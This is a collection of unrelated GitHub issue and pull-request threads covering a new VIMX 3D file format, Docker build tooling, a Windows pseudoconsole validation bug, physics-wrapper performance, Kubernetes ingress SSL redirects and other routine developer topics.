🐘 .vimx

Goal
Implement a VIMX file which can be consumed by the VIM webgl viewer to render the geometry in a manner which improves the time to first presentation.
Phase 1

[x] VIMX proof-of-concept

[x] Give it an extension: .vimx
[x] Add new attribute for per-instance world space axis-aligned bounding boxes (AABBs)
[x] Update the index attribute with a singular world space AABB for the whole model (for camera framing purposes).

[ ] VIMX vim-format repository integration

[x] Refactor Vim.BFast implementation to improve ergonomics
[ ] In the src/cs/g3d folder:

[x] Add the C# project Vim.G3d.Next which contains the refactored code for attributes and their code generation
[x] Add the C# project Vim.G3d.Next.Tests to test the implementation

[ ] In the src/cs/vim folder:

[ ] Add the C# project Vim.Format.Vimx which is responsible for reading and writing VIMX files

[x] The VIMX header should designate itself as a "vimx=0.1.0" (to make a clear distinction between a VIM and a VIMX)
[x] The remainder of the file header should be similar to the original VIM format.
[ ] Implement a bucketing scheme which enables the batch download of meshes that are members of the same category (or some other bucketing heuristic) to reduce the number of queries (and to improve the loading time).

[ ] Update the C# project Vim.Format.Tests to test the implementation of VIMX

[ ] In the data folder, add a few .vimx files to test the implementation.

[x] VIM to VIMX conversion via the VIM Tool
.\Vim.VimTool.exe convert-vimx
  --input "path/to/file.vim"      # input VIM file
  --output "path/to/file.vimx"    # output VIMX file
  --log "path/to/file.log"        # log filepath

[x] Refactor viewer selection to enable selecting objects in the VIMx

A VIM file with missing entities may have selection disabled
VIMX always has selection enabled (because it can base the element selection on the "group" (aka element index))

[ ] VIMX URL integration into PowerBI Reports

[x] Distinguish between a VIM file and a VIMx file and cache the result, presumably by investigating the VIM header
[x] Normalize PBI loading pipeline between VIM and VIMx
[ ] Resolve "initially loaded set" caching
[ ] Re-enable all features for VIMx in PowerBI + handle special cases (widget toggles)

[ ] Selection outline
[ ] Coloring
[ ] Isolation
[ ] Back-port refactoring with normal VIM

[ ] Test with large models

[ ] Test Hexagon big model as .vimx in PBI
[ ] Test TG Gallagher big model as .vimx in PBI
[ ] Test Whiteleys as .vimx in PBI
[ ] Test NBK as .vimx in PBI

[ ] Manual tests (validate that performance is adequate)

[ ] VIMX integration into Vim.Glue

Also converts the VIM to a VIMX and uploads it to the storage account

[ ] VIMX integration into VIM Cloud

During the azure batch conversion process, if the VIM file's corresponding VIMX file does not already exist, convert the input VIM file to a VIMX and upload it to the org's storage account.

This VIMX file should remain hidden from the user and should not count against their storage quota
Upon deletion of the original VIM file, the dependent VIMX file is also deleted.

Use the VIMX's URL in the PowerBI report.

Phase 2

[ ] Clean up vim-format and vimaec code to align on new implementation of g3d next

[ ] Complete VIMX transition:

[ ] VIM WebGL Component
[ ] VIM Revit Exporter
[ ] VIM Desktop App

Implies updating the C++ format...

[ ] VIM 3dsMax Importer
[ ] VIM Tool (vim to sql)
[ ] VIM Cloud as natively supported format

Where is VimTool.exe?

Where is VimTool.exe?

Hi, the VIM Tool executable is a paid enterprise product. If your organization is an enterprise customer of VIM, please contact us through VIM Cloud. You can sign into VIM Cloud at https://www.vimaec.com

Is there any other way to convert to VIMX?

Is there any other way to convert to VIMX?

The VIMX file format is currently under active development and testing. Our current plan is to implement the VIM to VIMX file conversion process in the VIM Tool command line executable. Once the implementation is complete, we intend on documenting the VIMX file format and publishing the source code for reading and writing VIMX files in the vim-format open source repository.
Out of curiosity, what your use case for the VIM Tool and the VIMX file format?

Our company is going to choose a high performance scheme to view the bim model. Recently, we are doing testing and research. We are interested in this. Can you try the Vimx converter? Or will rvt plug-in be opened to convert Vimx later? I want to try our model
---Original---
From: @.>
Date: Tue, Nov 7, 2023 22:14 PM
To: @.>;
Cc: "Tracey Accardo<EMAIL_ADDRESS>Subject: Re: [vimaec/vim-webgl-viewer] 🐘 .vimx (Issue #220)
Is there any other way to convert to VIMX?
The VIMX file format is currently under active development and testing. Our current plan is to implement the VIM to VIMX file conversion process in the VIM Tool command line executable. Once the implementation is complete, we intend on documenting the VIMX file format and publishing the source code for reading and writing VIMX files in the vim-format open source repository.
Out of curiosity, what your use case for the VIM Tool and the VIMX file format?
—
Reply to this email directly, view it on GitHub, or unsubscribe.
You are receiving this because you commented.Message ID: @.***>

Our company is going to choose a high performance scheme to view the bim model. Recently, we are doing testing and research. We are interested in this.

Thanks! I'd be happy to hear about the specifics of your use case and what kind of model scale you're looking at.

Can you try the Vimx converter? Or will rvt plug-in be opened to convert Vimx later? I want to try our model

We're currently performing some internal tests of the VIMX file format, which expands on our original VIM file format. Our current goal is to validate the performance improvements of VIMX in the context of our PowerBI custom visual. We are not yet ready to release VIMX out into the wild before we complete these tests.
In the meantime, have you tried using the VIM file format? It may already satisfy your performance needs! You can sign up to https://www.vimaec.com, and download our installer which installs a Revit plugin to export VIM files. You can view these files in the VIM Desktop App for Windows (which also comes with the installer), and you can upload these files to VIM Cloud to view them in our WebGL viewer (the core code of which is being maintained in this repository), or create PowerBI reports for further analysis.


Use xx to make Dockerfile more readable

Apparently this is the minimal change to use xx as introduced in #1041.
Looking into docker-buildx before/after this change, I realized that we were already leveraging the buildx's layer cache and the DAG support fully. go-mod-download is run only once per buildx run, not per build target. The amd64 builder is used for both amd64 and arm64 builds.
That said, I still think the introduction of xx, especially xx-go, is a good thing, as it makes our Dockerfile a bit more readable. And, perhaps, that's the only reason we might want to introduce xx?
BEFORE

$ make docker-buildx
export DOCKER_CLI_EXPERIMENTAL=enabled ;\
export DOCKER_BUILDKIT=1
docker buildx build --platform "linux/amd64,linux/arm64" \
        --build-arg RUNNER_VERSION=2.297.0 \
        --build-arg DOCKER_VERSION= \
        --build-arg VERSION=dev \
        -t "mumoshu/actions-runner-controller:dev" \
        -f Dockerfile \
        . "--push"
[+] Building 19.5s (23/23) FINISHED
 => [internal] load build definition from Dockerfile                                                                                0.0s
 => => transferring dockerfile: 2.00kB                                                                                0.0s
 => [internal] load .dockerignore                                                                                0.0s
 => => transferring context: 157B                                                                                0.0s
 => [linux/arm64 internal] load metadata for gcr.io/distroless/static:nonroot                                                                                0.7s
 => [linux/amd64 internal] load metadata for docker.io/library/golang:1.19.1                                                                                2.3s
 => [auth] library/golang:pull token for registry-1.docker.io                                                                                0.0s
 => [linux/amd64 internal] load metadata for gcr.io/distroless/static:nonroot                                                                                1.2s
 => [internal] load build context                                                                                0.1s
 => => transferring context: 347.35kB                                                                                0.1s
 => CACHED [internal] settings cache mount permissions                                                                                0.0s
 => [linux/arm64 stage-1 1/4] FROM gcr.io/distroless/static:nonroot@sha256:2a9e2b4fa771d31fe3346a873be845bfc2159695b9f90ca08e950497006ccc2e                                                 0.0s
 => => resolve gcr.io/distroless/static:nonroot@sha256:2a9e2b4fa771d31fe3346a873be845bfc2159695b9f90ca08e950497006ccc2e                                                                     0.0s
 => [linux/amd64 stage-1 1/4] FROM gcr.io/distroless/static:nonroot@sha256:2a9e2b4fa771d31fe3346a873be845bfc2159695b9f90ca08e950497006ccc2e                                                 0.0s
 => => resolve gcr.io/distroless/static:nonroot@sha256:2a9e2b4fa771d31fe3346a873be845bfc2159695b9f90ca08e950497006ccc2e                                                                     0.0s
 => [linux/amd64 builder 1/5] FROM docker.io/library/golang:1.19.1@sha256:2d17ffd12a2cdb25d4a633ad25f8dc29608ed84f31b3b983427d825280427095                                                  0.0s
 => => resolve docker.io/library/golang:1.19.1@sha256:2d17ffd12a2cdb25d4a633ad25f8dc29608ed84f31b3b983427d825280427095                                                                      0.0s
 => [internal] settings cache mount permissions                                                                                0.0s
 => CACHED [linux/amd64 builder 2/5] WORKDIR /workspace                                                                                0.0s
 => [linux/amd64 builder 3/5] COPY go.mod go.sum ./                                                                                0.0s
 => [linux/amd64 builder 4/5] RUN go mod download                                                                                9.6s
 => [linux/amd64 builder 5/5] RUN --mount=target=.   --mount=type=cache,mode=0777,target=${GOCACHE}   export GOOS=${TARGETOS} GOARCH=${TARGETARCH} GOARM=${TARGETVARIANT#v} &&   go build   3.4s
 => [linux/amd64 builder 5/5] RUN --mount=target=.   --mount=type=cache,mode=0777,target=${GOCACHE}   export GOOS=${TARGETOS} GOARCH=${TARGETARCH} GOARM=${TARGETVARIANT#v} &&   go build   3.4s
 => CACHED [linux/arm64 stage-1 2/4] COPY --from=builder /out/manager .                                                                                0.0s
 => CACHED [linux/arm64 stage-1 3/4] COPY --from=builder /out/github-webhook-server .                                                                                0.0s
 => CACHED [linux/amd64 stage-1 2/4] COPY --from=builder /out/manager .                                                                                0.0s
 => CACHED [linux/amd64 stage-1 3/4] COPY --from=builder /out/github-webhook-server .

AFTER

$ make docker-buildx
export DOCKER_CLI_EXPERIMENTAL=enabled ;\
export DOCKER_BUILDKIT=1
docker buildx build --platform "linux/amd64,linux/arm64" \
        --build-arg RUNNER_VERSION=2.297.0 \
        --build-arg DOCKER_VERSION= \
        --build-arg VERSION=dev \
        -t "mumoshu/actions-runner-controller:dev" \
        -f Dockerfile \
        . "--push"
[+] Building 60.0s (29/29) FINISHED
 => [internal] load build definition from Dockerfile                                                                                0.0s
 => => transferring dockerfile: 2.04kB                                                                                0.0s
 => [internal] load .dockerignore                                                                                0.0s
 => => transferring context: 157B                                                                                0.0s
 => [linux/arm64 internal] load metadata for gcr.io/distroless/static:nonroot                                                                                2.5s
 => [linux/amd64 internal] load metadata for docker.io/library/golang:1.19.1                                                                                2.8s
 => [linux/amd64 internal] load metadata for docker.io/tonistiigi/xx:latest                                                                                2.9s
 => [linux/amd64 internal] load metadata for gcr.io/distroless/static:nonroot                                                                                0.8s
 => [auth] tonistiigi/xx:pull token for registry-1.docker.io                                                                                0.0s
 => [auth] library/golang:pull token for registry-1.docker.io                                                                                0.0s
 => [linux/arm64 stage-2 1/4] FROM gcr.io/distroless/static:nonroot@sha256:2a9e2b4fa771d31fe3346a873be845bfc2159695b9f90ca08e950497006ccc2e                                                 0.9s
 => => resolve gcr.io/distroless/static:nonroot@sha256:2a9e2b4fa771d31fe3346a873be845bfc2159695b9f90ca08e950497006ccc2e                                                                     0.0s
 => => sha256:45e68f4d0d8c6da54318077c19b842ad6a12f6da141643115808d06d3a024998 801.04kB / 801.04kB                                                                                0.7s
 => => extracting sha256:45e68f4d0d8c6da54318077c19b842ad6a12f6da141643115808d06d3a024998                                                                                0.2s
 => [internal] load build context                                                                                0.2s
 => => transferring context: 6.89MB                                                                                0.2s
 => CACHED [linux/amd64 builder 1/6] FROM docker.io/library/golang:1.19.1@sha256:2d17ffd12a2cdb25d4a633ad25f8dc29608ed84f31b3b983427d825280427095                                           0.0s
 => => resolve docker.io/library/golang:1.19.1@sha256:2d17ffd12a2cdb25d4a633ad25f8dc29608ed84f31b3b983427d825280427095                                                                      0.1s
 => [linux/amd64 xx 1/1] FROM docker.io/tonistiigi/xx@sha256:9dde7edeb9e4a957ce78be9f8c0fbabe0129bf5126933cd3574888f443731cda                                                               0.3s
 => => resolve docker.io/tonistiigi/xx@sha256:9dde7edeb9e4a957ce78be9f8c0fbabe0129bf5126933cd3574888f443731cda                                                                              0.1s
 => => sha256:6b9f00cd577380cfa5d5a8d5ebf82f91f7aa469401818e4de53b2a16dd4a1642 14.97kB / 14.97kB                                                                                0.2s
 => => extracting sha256:6b9f00cd577380cfa5d5a8d5ebf82f91f7aa469401818e4de53b2a16dd4a1642                                                                                0.0s
 => CACHED [internal] settings cache mount permissions                                                                                0.0s
 => CACHED [linux/amd64 stage-2 1/4] FROM gcr.io/distroless/static:nonroot@sha256:2a9e2b4fa771d31fe3346a873be845bfc2159695b9f90ca08e950497006ccc2e                                          0.0s
 => => resolve gcr.io/distroless/static:nonroot@sha256:2a9e2b4fa771d31fe3346a873be845bfc2159695b9f90ca08e950497006ccc2e                                                                     0.1s
 => [internal] settings cache mount permissions                                                                                0.0s
 => [linux/amd64 builder 2/6] COPY --from=xx / /                                                                                0.0s
 => [linux/amd64 builder 3/6] WORKDIR /workspace                                                                                0.0s
 => [linux/amd64 builder 4/6] COPY go.mod go.sum ./                                                                                0.0s
 => [linux/amd64 builder 5/6] RUN go mod download                                                                                9.9s
 => [linux/amd64 builder 6/6] RUN --mount=target=.   --mount=type=cache,mode=0777,target=/build/linux/arm64/root/.cache/go-build   xx-go build -ldflags="-X 'github.com/actions-runner-co  26.1s
 => [linux/amd64 builder 6/6] RUN --mount=target=.   --mount=type=cache,mode=0777,target=/build/linux/amd64/root/.cache/go-build   xx-go build -ldflags="-X 'github.com/actions-runner-co  10.8s
 => [linux/amd64 stage-2 2/4] COPY --from=builder /out/manager .                                                                                0.1s
 => [linux/amd64 stage-2 3/4] COPY --from=builder /out/github-webhook-server .                                                                                0.1s
 => [linux/arm64 stage-2 2/4] COPY --from=builder /out/manager .                                                                                0.1s
 => [linux/arm64 stage-2 3/4] COPY --from=builder /out/github-webhook-server .

See https://github.com/actions-runner-controller/actions-runner-controller/pull/1041#issuecomment-1262942402. A little readability enhancement might not justify the additional dependency.


data_input.tidy_most_recent seems unused

It is used, but for variables that seem unused to me.
@emmanuelle : can you confirm when you have time, and remove the unused code.
Thank you!

Sorry, my mistake: I didn't read the code right.


Sending negative values to ResizePseudoConsole returns S_OK

Environment
Windows build number: 18363,418
Windows Terminal version (if applicable):

Any other software?

Steps to reproduce
Call ResizePseudoConsole with negative values stored in the passed COORD structure.

Expected behavior
returned HRESULT should indicate failure since a pty cannot have a negative size
Actual behavior
returned HRESULT indicates success.

https://github.com/microsoft/terminal/blob/388b975663e895c45710584e0e0fda8bcebc1fbe/src/winconpty/winconpty.cpp#L201
The COORD which has two signed SHORTs is being pushed into a structure of unsigned short and apparently nothing is complaining or validating that.


Ammo wrapper performance improvements

Previous perf testing had shown that aframe-physics-system Ammo driver "wrapper" performance is significantly worse than the equivalent "wrapper" performance for PhysX.
https://c-frame.github.io/physx/examples/pinboard/ammo-vs-physx.html
This is the performance of the javascript code to sync to/from the physics engine, rather than the physics engine itself.
Recent testing with Cannon driver in aframe-physics-system (see PR #14) has shown that "wrapper" performance is similar to PhysX, so it's just aframe-physics-system Ammo driver that has the poor performance.
I've done some profiling to analyze why thhis is.  So far 2 major issues stand out.

Ammo synchronizes Static objects to physics on every tick.  That is unecessary as static objects aren't supposed to move when using the Ammo driver.

  This is particularly expensive because of the balls are set up with ammo-shape="fit:all"

To compute the ammo shape, the entire mesh geometry is analyzed point by point, which takes a lot of work.  Even though this is only done for a few balls each second, it's still enough to add substantial overall cost.
Various fix options for the above:

Update the Ammo driver so that static objects are not sync'd to physics in the beforeStep.
Update documentation to emphasize that static objects should not be moved
Document a workaround (e.g. a function to call to update physics data) for the case where a static object has to be moved.

Update the example to explicitly encode the desired radius of the sphere, rather than using fit:all, together with explanation why.
Add to the documentation for ammo-shape to emphasize the performance issues with fit:all and in particular emphasize that it should not be used for entities that are frequently spawned.
Option: We could also extend three-to-ammo to explicitly notice where sphere and box geometries are used, and take short-cuts in fitting to these (PhysX does this), though it's unnecessary if we encourage manual fitting anyway.
Option: could we cache ammo shapes computed for a given geometry, so they don't need to be re-computed?  My understanding is that the geometry system ensures that only a signle geometry is created when the same geometry is used multiple times.  So perhaps some caching of previously calculated results is possible?

Having made prototype versions of these fixes, I ran some further profiling, and couldn't spot any obvious further gains.  However "wrapper" timings for Cannon still seem to be quite a bit faster than for Ammo, even though Cannon also syncs all static entities to Physics (because it doesn't distinguigh static from kinematic).
That suggests there are potentially more gains available for Ammo "wrapper" perf, but haven't yet identified them.
On my PC, fixes 1 & 2 above seem to be enough to get Ammo wrapper perf from ~3msecs to ~1.5msecs, vs Cannon "wrapper" perf < 1msec.

great finds. Perhaps moving a static object should require updating it to a dynamic object, and then back to a static object? does the code allow for that kind of switching? This is an idea as an alternative to a custom function that needs to be called when a static object is moved, which while would be a bit easier to implement, would be a bit fuzzier overall imo. Forgive my ignorance, haven't worked with ammo myself, so just thinking in principle here--if this doesn't make sense, ignore me.

could we cache ammo shapes computed for a given geometry, so they don't need to be re-computed? My understanding is that the geometry system ensures that only a signle geometry is created when the same geometry is used multiple times. So perhaps some caching of previously calculated results is possible?

I'm sure that would be a big gain in certain scenarios, but caching is a dangerous tool that usually creates bugs somewhere when not used very carefully. Could put it behind a feature flag to start, though, and encourage flipping it on in a performance checklist, and solicit bug reports as necessary, to start.

I am definitely interested in the improvement possible to the cannon driver if we do the same fix there.

Perhaps moving a static object should require updating it to a dynamic object, and then back to a static object? does the code allow for that kind of switching?

Better would be to update to a kinematic object, and then back to a static object.
I think there are 2 different cases.

If I have walls of an arena, and I want them to  start moving as part of the gameplay, then I should switch them to kinematic, start moving them, finish moving & then switch back to static.

If I want to reconfigure my arena from layout 1 to layout 2, and I don't care about the physics of the movement in between, I should just move the static objects and make a call into the physics engine to ensure the static object positions are updated.

I am definitely interested in the improvement possible to the cannon driver if we do the same fix there; should the fix be upstream to cannon, or can we do it in the wrapper, or is it a situation where both are possible?

Cannon doesn't distinguish between kinematic & static objects.  So you could say that all static objects in Cannon are kinematic - hence we should update them every frame.
We could introduce a "kinematic" concept at the wrapper level in Cannon, where the sole difference between static & kinematic would be that kinematic objects would have their position sync'd to the physics engine every frame, whereas static objects wouldn't.
I'd suggest a new issue to track that potential improvement.  That said, I'm not sure there's that much value as the before/after phases are already much cheaper relative to the engine with Cannon than they are with Ammo.

This is done.


[beta.12]: Unable to eliminate black screen background?

I am trying to eliminate the black background that is present behind screens that use react-navigation. I need to change it to transparent because I have a custom pattern defined beneath it that needs to show through on some screens.
To get the header transparent, I am using:
// screen navigation option
    ...
    headerStyle: {
      backgroundColor: 'transparent',
    },
    ...

But the result of doing this is you see the black underneath instead of being fully transparent to the container Views I have constructed in my app code. I have tried setting the following:
// router config
  ...
  cardStyle: {
    backgroundColor: 'transparent',
  },
  ...

but no luck. How do I turn this black -> transparent?

How my app looked in beta.11:

How my app looks with no code changes, after upgrading to beta.12:

What can I do to turn this black color into a transparent so my fancy pattern customizations beneath can shine through?

The culprit seems to be new styles added to the transition configs:

https://github.com/react-community/react-navigation/blob/master/src/views/CardStack/TransitionConfigs.js#L24

https://github.com/react-community/react-navigation/blob/master/src/views/CardStack/TransitionConfigs.js#L33

Any way to override these?

Solved with the following route config:
  ...
  transitionConfig: (): Object => ({
    containerStyle: {
      backgroundColor: 'transparent',
    },
  }),
  ...


services/horizon: Add feature flag to reuse Captive-Core storage dir

PR Checklist
PR Structure

[ ] This PR has reasonably narrow scope (if not, break it down into smaller PRs).
[ ] This PR avoids mixing refactoring changes with feature changes (split into two PRs
otherwise).
[ ] This PR's title starts with name of package that is most changed in the PR, ex.
services/friendbot, or all or doc if the changes are broad or impact many
packages.

Thoroughness

[ ] This PR adds tests for the most critical parts of the new functionality or fixes.
[ ] I've updated any docs (developer docs, .md
files, etc... affected by this change). Take a look in the docs folder for a given service,
like this one.

Release planning

[ ] I've updated the relevant CHANGELOG (here for Horizon) if
needed with deprecations, added features, breaking changes, and DB schema changes.
[ ] I've decided if this PR requires a new major/minor version according to
semver, or if it's mainly a patch change. The PR is targeted at the next
release branch if it's not a patch change.

What
Adds a new --captive-core-reuse-storage-dir flag to enable/disable Captive-Core storage dir reuse.
Why
In Stellar-Core 17.1.0 there is a bug that can potentially corrupt storage dir: https://github.com/stellar/stellar-core/issues/3085. The feature flag can be enabled or removed when a fix is released.

Would it be better to detect the version of core, and use that?

Would it be better to detect the version of core, and use that?

We are still not sure which Stellar-Core version will include a fix.


chore(package): update validate-commit-msg to version 2.13.0

Closes #581

Coverage remained the same at 100.0% when pulling cd2d3d69c963db69bf96fad8b9464710d8e68a89 on greenkeeper/validate-commit-msg-2.13.0 into ede42e0b9545314f9fbc12df60b3248d6f012692 on master.


Frostwolf Quests and Mechanics

Fixed some issues around some of the starting Frostwolf quests.
Added the pack structures mechanic
I tried to make the structure packing mechanic generic enough that in theory it could be used for other buildings and units.
These changes should cover issues #184, #186, #188, #189 and #192

Awesome work. I'll give this a proper review tomorrow but it looks great. I like the way you grouped the related tickets together like this as well.
FYI this doesn't actually cover #184. I'll update the description on that ticket so it's clearer what the issue is.

Unless I am completely misreading the requirements I think it should cover #184.
I added a trigger for a unit belonging to the frostwolf faction entering that rect and then rescuing the passive units in the rect to the Sea Witch quest. While not technicly part of the quest, I wasn't sure where to put loose triggers and it also means that the trigger can be destroyed on that quest fail/complete as there is no need to be firing that event after that.

Ah yes you're correct, my mistake.

@YakaryBovine Using a lambda expression instead of maintaing a dictionary worked like a charm


Callbacks not called in IE11

I am currently investigating an issue where my callbacks are not called in IE11.
I think this happens because in IE11, Element.matches doesn't exist, so this branch is being executed.
The issue here is that the node that has been added to the DOM is passed as the parameter to SelectorSet.queryAll. The implementation of SelectorSet.queryAll uses this node - called context there - as the instance on which it calls ParentNode.querySelectorAll.
However, ParentNode.querySelectorAll only returns the matching descendants of the node it was executed on and not the node itself, leading to an empty result.
Because SelectorSet.matches already has a detection for the proprietary names of older browser for Element.matches fixing this issue should be as simple as removing that feature detection in changes.js so that SelectorSet.matches is used unconditionally.

I've personally stopped testing on IE11, but if you have a patch that isn't too invasive, I'd be happy to accept it.

#17 is my proposal to fix this.

https://github.com/josh/selector-observer/pull/17


SSL Redirect not applied when appgw.ingress.kubernetes.io/ssl-redirect: 'true'

Describe the bug
When adding ingress with appgw.ingress.kubernetes.io/ssl-redirect: 'true' a redirect is not created. Instead ingress rules for https and http are created with no redirect. I've seen other issues that are similar but nothing with a resolution. We are using the latest version of AGWIC. The defined secret does exist. The logs refer to a redirectConfigurations that doesn't exist?
To Reproduce
Deploy the ingress.yaml
apiVersion: networking.k8s.io/v1
kind: Ingress
metadata:
  name: test-ingress
  annotations:
    appgw.ingress.kubernetes.io/ssl-redirect: 'true'
    cert-manager.io/cluster-issuer: letsencrypt
    kubernetes.io/ingress.class: azure/application-gateway
spec:
  tls:
    - hosts:
        - testing.domain.com
      secretName: testing-tls
  rules:
  - http:
      paths:
        - path: /testpath
          pathType: ImplementationSpecific
          backend:
            service:
              name: test
              port:
                name: http
        - path: /testpath/*
          pathType: ImplementationSpecific
          backend:
            service:
              name: test
              port:
                name: http

Ingress Controller details
Name:         ingress-azure-78d65b5cd-nmmpz
Namespace:    ingress-azure
Priority:     0
Node:         aks-primarypool-15941712-vmss000000/<IP_ADDRESS>
Start Time:   Tue, 17 May 2022 16:24:03 +0100
Labels:       aadpodidbinding=ingress-azure
              app=ingress-azure
              pod-template-hash=78d65b5cd
              release=ingress-azure
Annotations:  checksum/config: 3e762fc7679a8bfe202d7ee7c7e5c1a64cd1c7628a8f13409542bbdb1bffc796
              prometheus.io/port: 8123
              prometheus.io/scrape: true
Status:       Running
IP:           <IP_ADDRESS>
IPs:
  IP:           <IP_ADDRESS>
Controlled By:  ReplicaSet/ingress-azure-78d65b5cd
Containers:
  ingress-azure:
    Container ID:   containerd://fd1ce480577b4f5930c4ca447af9d8384450269b2f7f9591c0cbdf557736b001
    Image:          mcr.microsoft.com/azure-application-gateway/kubernetes-ingress:1.5.1
    Image ID:       mcr.microsoft.com/azure-application-gateway/kubernetes-ingress@sha256:cc131292df265926942e23ca5601a3de66e8feabcb81f705d8f7d84b740f81b6
    Port:           <none>
    Host Port:      <none>
    State:          Running
      Started:      Tue, 17 May 2022 16:24:04 +0100
    Ready:          True
    Restart Count:  0
    Liveness:       http-get http://:8123/health/alive delay=15s timeout=1s period=20s #success=1 #failure=3
    Readiness:      http-get http://:8123/health/ready delay=5s timeout=1s period=10s #success=1 #failure=3
    Environment Variables from:
      ingress-azure  ConfigMap  Optional: false
    Environment:
      AZURE_CLOUD_PROVIDER_LOCATION:  /etc/appgw/azure.json
      AGIC_POD_NAME:                  ingress-azure-78d65b5cd-nmmpz (v1:metadata.name)
      AGIC_POD_NAMESPACE:             ingress-azure (v1:metadata.namespace)
    Mounts:
      /etc/appgw/ from azure (ro)
      /var/run/secrets/kubernetes.io/serviceaccount from kube-api-access-lckjc (ro)
Conditions:
  Type              Status
  Initialized       True
  Ready             True
  ContainersReady   True
  PodScheduled      True
Volumes:
  azure:
    Type:          HostPath (bare host directory volume)
    Path:          /etc/kubernetes/
    HostPathType:  Directory
  kube-api-access-lckjc:
    Type:                    Projected (a volume that contains injected data from multiple sources)
    TokenExpirationSeconds:  3607
    ConfigMapName:           kube-root-ca.crt
    ConfigMapOptional:       <nil>
    DownwardAPI:             true
QoS Class:                   BestEffort
Node-Selectors:              <none>
Tolerations:                 node.kubernetes.io/not-ready:NoExecute op=Exists for 300s
                             node.kubernetes.io/unreachable:NoExecute op=Exists for 300s
Events:
  Type    Reason     Age   From               Message
  ----    ------     ----  ----               -------
  Normal  Scheduled  28m   default-scheduler  Successfully assigned ingress-azure/ingress-azure-78d65b5cd-nmmpz to aks-primarypool-15941712-vmss000000
  Normal  Pulling    28m   kubelet            Pulling image "mcr.microsoft.com/azure-application-gateway/kubernetes-ingress:1.5.1"
  Normal  Pulled     28m   kubelet            Successfully pulled image "mcr.microsoft.com/azure-application-gateway/kubernetes-ingress:1.5.1" in 113.869531ms
  Normal  Created    28m   kubelet            Created container ingress-azure
  Normal  Started    28m   kubelet            Started container ingress-azure

Logs specfic to the problem
E0517 15:50:06.038231       1 requestroutingrules.go:264] Will not attach default redirect to rule; SSL Redirect does not exist: /subscriptions/a3c8c6b8-cc0e-48a4-94b7-daf0bc899a8b/resourceGroups/***/providers/Microsoft.Network/applicationGateways/***/redirectConfigurations/sslr-fl-a4f124d94a7f828fc2d0d455d1dc6d32
E0517 15:50:06.038361       1 requestroutingrules.go:355] Will not attach redirect to rule; SSL Redirect does not exist: /subscriptions/a3c8c6b8-cc0e-48a4-94b7-daf0bc899a8b/resourceGroups/***/providers/Microsoft.Network/applicationGateways/***/redirectConfigurations/sslr-fl-a4f124d94a7f828fc2d0d455d1dc6d32
E0517 15:50:06.038466       1 requestroutingrules.go:355] Will not attach redirect to rule; SSL Redirect does not exist: /subscriptions/a3c8c6b8-cc0e-48a4-94b7-daf0bc899a8b/resourceGroups/***/providers/Microsoft.Network/applicationGateways/***/redirectConfigurations/sslr-fl-a4f124d94a7f828fc2d0d455d1dc6d32

Any Azure support tickets associated with this issue.
There is no associated ticked.

@thisispaulsmith can you also add host in the rules as well. Example:
...
 tls:
    - hosts:
        - testing.domain.com
      secretName: testing-tls
  rules:
  - host: testing.domain.com
    http:
    paths:
        - path: /testpath
          pathType: ImplementationSpecific
          backend:
...

@akshaysngupta Sorry that was my mistake in the original post. The host is there, I just missed it from the sample.
apiVersion: networking.k8s.io/v1
kind: Ingress
metadata:
  name: test-ingress
  annotations:
    appgw.ingress.kubernetes.io/ssl-redirect: 'true'
    cert-manager.io/cluster-issuer: letsencrypt
    kubernetes.io/ingress.class: azure/application-gateway
spec:
  tls:
    - hosts:
        - testing.domain.com
      secretName: testing-tls
  rules:
    host: testing.domain.com
    http:
      paths:
        - path: /testpath
          pathType: ImplementationSpecific
          backend:
            service:
              name: test
              port:
                name: http
        - path: /testpath/*
          pathType: ImplementationSpecific
          backend:
            service:
              name: test
              port:
                name: http

could lets encrypt an issue here? because the secret for TLS will be created delayed, we have the same issue right now.

I have the same issue, except that i am using the appgw.ingress.kubernetes.io/appgw-ssl-certificate annotation with a certificate imported from Keyvault. Here is my ingress definition:
apiVersion: networking.k8s.io/v1
kind: Ingress
metadata:
  name: service-a
  namespace: default
  annotations:
    appgw.ingress.kubernetes.io/appgw-ssl-certificate: <cert imported from keyvault>
    appgw.ingress.kubernetes.io/request-timeout: '60'
    appgw.ingress.kubernetes.io/ssl-redirect: 'true'
    kubernetes.io/ingress.class: azure/application-gateway
    meta.helm.sh/release-name: service-a
    meta.helm.sh/release-namespace: default
spec:
  rules:
    - host: teama.company.com
      http:
        paths:
          - path: /service-a
            pathType: Prefix
            backend:
              service:
                name: service-a
                port:
                  number: 80

I can see that this created a new listener on port 80 and a new rule attached to this listener, however, it doesn't use the Redirection to my https listener, which is what is said in the documentation, but rather just straight forwarding  to the Backend pool. So it just ended up creating an unsecure http listener. See attachedment:

Same issue as @anthonynguyen394  - Anyone find  a fix for this? Or are we stuck not being able to use AGIC if you want TLS and redirection?


feat: use localhost as email domain in anonymous auth

Although<EMAIL_ADDRESS>is almost impossible to cause conflict, email.com may cause confusion 😕 Maybe the approach from Git is better: localhost.
PS: As localhost (actually not a domain) is different from other domains, it does not contain ., which may cause some RegExps to fail. May need to be explained in the docs.
PS 2: Considering support for clustering and concurrency, perhaps UUID or generateId() would be better than timestamp.

Yeah I agree, ee should switch to using uuid and instead of localhost we should use the actual domain since it's already scoped. Also, let's remove the better-auth prefix. It should be temp-${uuid}@${domainName}. We should also allow for domainName overrides in the plugin options.

Yeah I agree, we should switch to using uuid and instead of localhost we should use the actual domain since it's already scoped. Also, let's remove the better-auth prefix. It should be temp-${uuid}@${domainName}. We should also allow for domainName overrides in the plugin options.

I'm sorry that I can't identify what scope and actual domain refers to. (not a native English speaker) I came up with localhost just because it's identifiable and understandable.
Others (except tests) were added in e8ab665 :heart:

If you can please fix the conflict and this will be merged.

Thanks! I've merged it into main, so I'll go ahead and close this.


HQCamera shows stars in colors

Does anyone knows why the stars and startrails are colored when using the RPI HQ camera?

My settings for the channels is:
Red balance 1.2
Blue balance 1.5
Also - is there any way to change the camera to black and white modus?

Red balance 3.24
Blue balance 1.47
try this, is latest hq cam true balance

Changing that up this morning made a major improvement to the day-time view - looking forward to seeing what it does tonight.
Thanks for the R,3.24, and B,1.47 suggestion!

Before: R 2.2, B 2.
https://jimsnerdstuff.com/allsky/examples/liveview-image_r2.2-b2.jpg
After: R 3.24, B 1.47
https://jimsnerdstuff.com/allsky/examples/liveview-image_r3.24-b1.47.jpg

@WirthmU, It looks like the suggestion resolved your problem; if you agree, please close the issue.
I am working on a newer version that supports "saturation", and setting it to -100 produces a black and white image.  Hold tight.

That would be great, Eric.

@WirthmU, are you running version 0.8 of Allsky?  You can see the version number after you start the software in /var/log/allsky.log.
